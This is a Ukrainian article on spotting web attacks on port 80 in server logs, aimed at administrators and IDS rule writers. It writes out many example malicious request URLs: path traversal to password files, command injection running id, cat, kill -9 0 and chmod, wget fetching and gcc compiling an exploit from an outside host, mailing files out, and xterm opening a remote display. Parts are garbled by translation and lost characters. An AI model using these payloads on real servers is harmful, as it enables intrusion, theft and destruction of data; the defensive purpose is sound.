Сліди атак по 80 порту — дослідження сигнатур атак
Михайло Разумов

Порт 80 є стандартним для web-сайтів і може мати багато різних проблем безпеки. Ці діри можуть дозволити хакеру отримати адміністративний доступ до web-сайту, або навіть до самого web-сервера. У цій статті розглянуті деякі сигнатури, характерні для таких атак, а також те, що слід шукати в логах.

Порт 80 є стандартним для web-сайтів і може мати багато різних проблем безпеки. Ці діри можуть дозволити хакеру отримати адміністративний доступ до web-сайту, або навіть до самого web-сервера. У цій статті розглянуті деякі сигнатури, характерні для таких атак, а також те, що слід шукати в логах. Прості сигнатури В цьому розділі ви знайдете стандартні сліди злому web-серверів та web-додатків. Ви не побачите тут всі можливі варіанти атак, але дізнаєтеся, як вони виглядають. Ці сигнатури охоплять більшість відомих і невідомих дірок, які хакери можуть використовувати проти вас. Також тут описано, для чого використовується кожна з сигнатур, або як може бути використана при атаці.

Запити uot;.” “..” and “…”
Це найбільш часто зустрічаються сигнатури атак як в web-додатках, так і в web-серверах. Вони використовуються хакером або хробаком для зміни директорій на сервері, щоб отримати доступ до непублічним розділів. Більшість CGI-дір містять запити “..”. Приклад:
host/cgi-bin/lame.cgi?file=../../../../etc/motd Дана команда показує хакеру «Message of the Day». Якщо хакер має можливість переглядати на вашому web-сервері директорії поза web-кореневий, він може зібрати достатньо інформації для отримання потрібних привілеїв.
Запити “%20”
Це шістнадцяткове значення символу пробілу. Його наявність ще не означає, що вас атакували, так як деякі web-додатки використовують його при правомірних запитах. Однак, цей запит також може використовуватися при запуску команд. Так що будьте уважні при перевірці логів. Приклад:
host/cgi-bin/lame.cgi?page=ls%20-al| (стандартна для UNIX-систем команда ls -al) В цьому прикладі показується, як хакер запускає команду ls під UNIX з передачею їй аргументу. Цей аргумент дає хакеру повний лістинг директорії, що може допомогти хакеру отримати доступ до важливих файлів у вашій системі або підказати, як отримати додаткові привілеї.
Запити “%00”
Шістнадцятковий код нульового байта. Може використовуватися, щоб обдурити web-додаток, ніби був запитаний файл. Приклад:
host/cgi-bin/lame.cgi?page=index.html Показаний приклад може бути дозволеним запитом на сервері. Якщо хакер виявить це, він напевно використовує запит для пошуку дірок на ньому. host/cgi-bin/lame.cgi?page=../../../../etc/motd Web-додаток може заборонити цей запит, якщо перевіряє, щоб імена файлів закінчувалися .htm, .html .shtml, або інші дозволені розширення. Багато додатків порахують запитаний тип файлу неприпустимим. І часто дадуть відповідь хакеру, що файл повинен мати дозволений тип. Таким чином хакер може отримати імена директорій, файлів, і потім, можливо, зібрати більше інформації про вашій системі. host/cgi-bin/lame.cgi?page=../../../../etc/motd%00.html При такому запиті додаток вважає, що ім’я файлу відноситься до дозволеним типом. Деякі web-додатки погано проводять перевірку на правильність запиту файлу, тому це частий метод, використовуваний хакером.
Запити “|”
Вертикальна риска (pipe), часто використовується в UNIX для запуску декількох команд одночасно в одному запиті Приклад:
cat access_log| grep -i “..” (Цей приклад показує перевірку лода на присутність запитів .., які часто використовуються хакерами і черв’яками.) Web-додатки часто використовують цей символ, тому його наявність у логах може виявитися помилковою тривогою. Щоб знизити частоту помилкових тривог, необхідний ретельний аналіз вашого програмного забезпечення та його роботи. Кілька прикладів: host/cgi-bin/lame.cgi?page=../../../../bin/ls| Цей запит є звичайним викликом ls. Нижче наведені інші варіанти цього запиту. host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc| Цей запит видає повний лістинг директорії etc. host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20«lame» Даний запит запускає команду «cat», а потім grep з аргументом -i.
Запит “;”
Цей символ дозволяє запускати декілька команд в одному рядку UNIX-системі. Приклад:
id;uname a (Запускається команда id, потім uname) Web-додатки часто використовують цей символ, тому можливі помилкові тривоги. Повторю, ретельне вивчення вашого програмного забезпечення та його роботи знизить рівень помилкових тривог.
Запити “”
Ці символи слід перевіряти в логах з багатьох причин, перша з яких у тому, що вони використовуються для виведення даних у файл. Приклад 1:
echo «your hax0red h0 h0» >> /etc/motd (Це приклад запису інформації в файл.) Хакер може використовувати такий запит наприклад для дефейса вашого web-сайту. Знаменитий експлоїт RDS від rain.forest.puppy часто використовувався хакерами для введення інформації в головну сторінку web-сайтів. Приклади зламаних web-сайтів з білими сторінками, без форматування, шукайте на attrition.org. Приклад 2:
host/something.php=Hi%20mom%20Im%20Bold! Це приклад cross-site скриптовой атаки. HTML теги використовують символи “”. Хоча така атака не дає хакеру доступ до системи, вона може використовуватися для введення людей в оману щодо адекватності інформації на сайті. (Звичайно, їм потрібно відвідати потрібну хакеру посилання. Цей запит може бути замаскований кодуванням символів у шістнадцятковому вигляді, щоб не бути настільки очевидним.)
Запити !
Цей символ часто використовується в SSI (Server Side Include) атаках. Ця атака може дати хакеру результати, аналогічні попередній атаці, коли ошуканий користувач натискає на посилання. Приклад:
target=_blank>http://host1/something.php= У цьому прикладі приєднується файл з host2, при цьому створюється враження, ніби він знаходиться на host1. Як і минулого разу, для виконання атаки користувач повинен відвідати потрібну хакеру посилання. Крім того, це дозволяє хакерові запускати команди на вашій системі з правами користувача web-сервер. Приклад:
target=_blank>http://host/something.php= Запускає команду «id» на віддаленій системі. Вона повинна показати користувацький id web-сервера, який зазвичай називається «nobody» або «www». Також це може дозволити приєднання прихованих файлів. Приклад:
target=_blank>http://host/something.php= Ця команда приєднує файл .htpasswd. Цей файл не повинен бути доступний кожному, і в Apache навіть вбудовано правило, що забороняє доступ до .ht. SSI тег обходить це, що може викликати проблеми з безпекою.
Запити «Часто використовуються при спробі вставити PHP у віддалене web-додаток. Робить можливим запуск команд в залежності від налаштувань сервера та інших факторів. Приклад:
host/something.php= passthru(»id”?> При погано написаному PHP-додатку може запустити команду на віддаленому комп’ютері з привілеями користувача web-сервер. Крім того, хакер може записати цей запит в шістнадцятковому вигляді. Звертайте увагу на все нестандартне і аналізуйте все підозріле.
Запити “`”
Символ зворотного штриха часто використовується в Perl для запуску команд. Він не використовується в нормальних web-додатках, так що якщо побачите його в логах воспримите це серйозно. Приклад:
host/something.cgi=`id` На погано написаному Perl web-додатку, ця команда запускає команду id. Просунуті сигнатури: У цьому розділі описані запускаються хакерами команди і запитувані файли, а також як виявити, що ви уразливі до віддаленого запуску команд. Хоча це не повний список команд і файлів, запитуваних хакерами, це допоможе вам зрозуміти, що робиться проти вашої системи.
“/bin/ls”
Це виконуваний модуль команди ls. Він часто запитується з повним шляхом у багатьох дірках web-додатків. Якщо ви побачите цей запит у ваших логах, висока ймовірність того, що ваша система схильна до віддаленого запуску команд. Однак, це не завжди є проблемою і може виявитися помилковим сигналом. Повторю знову, важливо вивчити роботу вашого web-додатки. Якщо це можливо, спробуйте зробити запит, знайдений в логах і подивіться на результат. Приклад:
host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|
host/cgi-bin/bad.cgi?doh=ls%20-al;
«cmd.exe»
Це Windows shell. Хакер, який має доступ на запуск цього скрипта, напевно зможе зробити що-небудь на вашій машині, в залежності від встановлених дозволів. Більшість Internet-хробаків, які працюють через 80 порт, використовують cmd.exe для поширення на інші віддалені системи. Приклад:
host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:
“/bin/id”
Це виконуваний модуль команди id. Він часто запитується з повним шляхом у багатьох дірках web-додатків. Якщо ви побачите цей запит у ваших логах, висока ймовірність того, що ваша система схильна до віддаленого запуску команд. Однак, це не завжди є проблемою і може виявитися помилковим сигналом. Повторю знову, важливо вивчити роботу вашого web-додатки. Якщо це можливо, спробуйте зробити запит, знайдений в логах і подивіться на результат. Приклади:
host/cgi-bin/bad.cgi?doh=../../../../bin/id|
host/cgi-bin/bad.cgi?doh=id;
Команди «wget and tftp»
Ці команди часто використовуються хакерами і черв’яками для завантаження додаткових файлів, які можуть використовуватися для отримання додаткових системних привілеїв. wget це команда UNIX, може використовуватися для завантаження virus. tftp це UNIX і NT команда, призначена для передачі файлів. Деякі IIS черв’яки використовують tftp для завантаження своєї копії на заражений комп’ютер, і продовжують поширюватися. Приклади:
host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c|
host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;
Команда cat
Часто використовується для перегляду вмісту файлів. Може використовуватися для читання важливої інформації, такої як конфігураційні файли, файли паролів, та ін. Приклади:
host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd|
host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;
Команда echo
Ця команда часто використовується для приєднання даних до файлу, наприклад до index.html. Приклади:
>%200day.txt| target=_blank>http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20«fc-#kiwis%20was%20here»%20>>%200day.txt|
>%200day.txt; target=_blank>http://host/cgi-bin/bad.cgi?doh=echo%20«fc-#kiwis%20was%20here»%20>>%200day.txt;
Команда ps
Показує список запущених процесів. Це може підказати хакеру, яке програмне забезпечення запущено на віддаленому комп’ютері і які діри безпеки він може мати. Приклади:
host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux|
host/cgi-bin/bad.cgi?doh=ps%20-aux;
Команди «kill та killall»
Ці команди використовуються для закриття процесів в системі UNIX. Хакер може використовувати їх для зупинки системного сервісу або програми. Також хакер може використовувати їх для приховування слідів свого експлоїта, породив багато дочірніх процесів, або некоректно завершився. Приклади:
host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200|
host/cgi-bin/bad.cgi?doh=kill%20-9%200;
Команда uname
Часто використовується хакерами для визначення імені віддаленої машини. Часто вебсайт хоститься у ISP, і ця команда може підказати, до якого ISP він може отримати доступ. Зазвичай запитується uname -a і в логах це виглядає як uname%20-a. Приклади:
host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a|
host/cgi-bin/bad.cgi?doh=uname%20-a;
Команди компіляторів/інтерпретаторів «cc, gcc, perl, python, etc…»
Команди cc і gcc дозволяють компілювати програми. Хакер може використовувати wget або tftp для закачування файлів, а потім використовувати ці компілятори для створення експлоїта. З цього моменту можливо все, включаючи злом локальної системи. Приклади:
host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c|
host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337; Якщо ви побачите запит до Perl або python, можливо, що хакер закачав Perl або python скрипт, і намагається зламати вашу систему.
Команда mail
Ця команда може використовуватися хакером для відправки файлів на e-mail адреса хакера. Також може використовуватися для розсилки спаму. Приклади:
host/cgi-bin/bad.cgi?doh=../../../../bin/mail%[email protected]%20<<%20/etc/motd|
host/cgi-bin/bad.cgi?doh=mail%[email protected]%20 <
Команди «xterm / інші X-додатки»
Xterm часто використовується для отримання доступу до shell віддаленої системи. Якщо ви виявите її в своїх логах, поставтеся до цього дуже серйозно, як до можливо серйозної проломи в безпеці. Шукайте в логах запит, що містить “%20-display%20”. Ці сліди часто вказують на спробу запустити xterm або інше X-додаток на віддаленому хості. Приклади:
host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1|
host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;
Команди chown, chmod, chgrp, chsh, та ін…»
Ці команди дозволяють встановлювати доступ в UNIX системах. Нижче описано, що вони роблять. chown дозволяє встановлювати належність файлу chmod дозволяє встановлювати доступ до файлу chgrp дозволяє встановлювати належність файлу групі chsh дозволяє змінювати shell, використовуваний користувачем. Приклади:
host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.html|
host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html;
host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/master.passwd|
host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh;
host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow|
Файл/etc/passwd”
Це файл системних паролів. Зазвичай він не містить зашифрованих паролів (тобто shadowed). Однак, може дати хакеру імена користувачів, системні шляху і, можливо, хостящиеся сайти. Якщо цей файл shadowed, хакер буде намагатися дивитися файл /etc/shadow.
Файл/etc/master.passwd”
Файл паролів в BSD-системі, що містить зашифровані паролі. Доступний для читання лише екаунтом root, але хакер може спробувати його прочитати, в надії на удачу. Якщо web-сервер запущений з правами root, хакер зможе прочитати цей файл, а системний адміністратор може очікувати великих проблем.
Файл/etc/shadow”
Системний UNIX-файл, що містить зашифровані паролі. Доступний для читання лише екаунтом root, але хакер може спробувати його прочитати, в надії на удачу. Якщо web-сервер запущений з правами root, хакер зможе прочитати цей файл, а системний адміністратор може очікувати великих проблем.
Файл/etc/motd”
Системний файл «Message of the Day» (тема дня) містить перше повідомлення, яке бачить користувач, що входить в UNIX-систему. Він може містити важливу інформацію, адресовану від адміністратора користувачам, а також версію операційної системи. Хакер може регулярно перевіряти цей файл і знати, яка використовується система. Потім він досліджує її на предмет експлойтів, які дають додатковий доступ до цієї системи.
Файл/etc/hosts”
Цей файл дає інформацію про IP-адресах і мережевої інформації. Хакер може використовувати його для пошуку додаткової інформації про ваших системних/налаштуваннях.
Файл/usr/local/apache/conf/httpd.conf”
Шлях до цього файлу буває різним, тут представлений найбільш часто зустрічається. Це конфігураційний файл web-серверу Apache. Він може дати хакеру інформацію про хостящіхся сайтах і більш специфічну, наприклад про доступ до CGI або SSI.
Файл/etc/inetd.conf”
Це конфігураційних файл сервісу inetd. Він містить системні демони, використовувані віддаленим комп’ютером. Також може підказати хакеру, використовує віддалена система wrapper для кожного демона. Якщо використовує, тоді хакер перевірить “/etc/hosts.allow” і/etc/hosts.deny”, і, можливо, змінить їх вміст, якщо це дасть йому додаткові привілеї.
Файли “.htpasswd, .htaccess, і .htgroup”
Ці файли використовуються для аутентифікації на web-сайті. Хакер спробує переглянути вміст цих файлів для отримання імен користувачів і паролів. Паролі у файлі htpasswd і зашифровані. Простий зломщик паролів і витрачений деякий час дасть хакеру доступ до деяких захищених паролями сесій на вашому web-сайті, а можливо, і до інших эккаунтам. (Багато людей використовують скрізь однакові імена користувача і паролі, і найчастіше це дає хакеру отримати доступ до інших эккаунтам, які може мати цей користувач.)
Файли «access_log and error_log»
Це лог-файли web-сервера Apache. Хакер може перевіряти їх, щоб побачити, як записалися його запити інших користувачів. Часто хакери редагують ці файли, щоб видалити сліди своєї присутності. Тоді стає складно виявити хакера, іспанця вашу систему через 80 порт, якщо тільки не створюються резервні копії або не ведеться подвійне логгирование.
Файли “[drive-letter]:winnt epairsam._ або [drive-letter]:winnt epairsam”
Це імена файлів паролів Windows NT. Хакер часто запитує ці файли, якщо не дозволено віддалений запуск команд. Далі, він запустить програму типу l0pht crack, щоб зламати паролі на віддаленій windows-системі. Якщо він зможе зламати пароль адміністратора, віддалений комп’ютер в його руках. Переповнення Ми не будемо заглиблюватися в переповнення буфера, але покажемо приклади того, як це виглядає. Переповнення буфера часто ховається за допомогою кодування і інших прийомів. Простий приклад:
host/cgi-bin/helloworld?type= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(256 разів) У цьому прикладі хакер посилає безліч A в додаток і перевіряє його на переповнення буферу. Переповнення буфера може дозволити хакеру віддалений запуск команд. Якщо додаток має права root, це може дати повний доступ до системи. Варіантів, як може виглядати переповнення буфера, безліч, і ми не будемо розглядати їх у цій статті. Регулярно перевіряйте логи. Якщо ви побачите величезні запити в той час, як для вашого сайту характерні короткі, ймовірно, це була спроба хакера викликати переповнення буфера або нова різновид Інтернет-хробака атакує вашу машину. Шістнадцяткове кодування Хакери знають, що часто IDS системи перевіряють запити занадто буквально. Тому вони часто кодують свої запити в шістнадцятковому форматі, і IDS пропускає їх. Хороший приклад цього — CGI сканер, відомий як Whisker. Якщо ви переглянули логи і побачили величезну кількість шістнадцяткових або інших незвичайних символів, ймовірно, що хакер намагався якимось чином зламати вашу систему. Швидкий спосіб перевірити, що означає цей шістнадцятковий код це скопіювати його з лода і вставити в адресний рядок браузера. Якщо ви не отримаєте помилку 404, тоді шістнадцятковий код перетвориться і ви побачите його разом з результатом дії. Якщо ви не хочете так ризикувати, дивіться для розшифровки ASCII коди. Висновок Ця стаття не охоплює всі експлоїти 80 порту, але охоплює найбільш часті типи атак. Вона також пояснює вам, що шукати в логах, і що додати в правила IDS. Сподіваюся також, стаття допоможе web-розробникам краще писати web-додатки.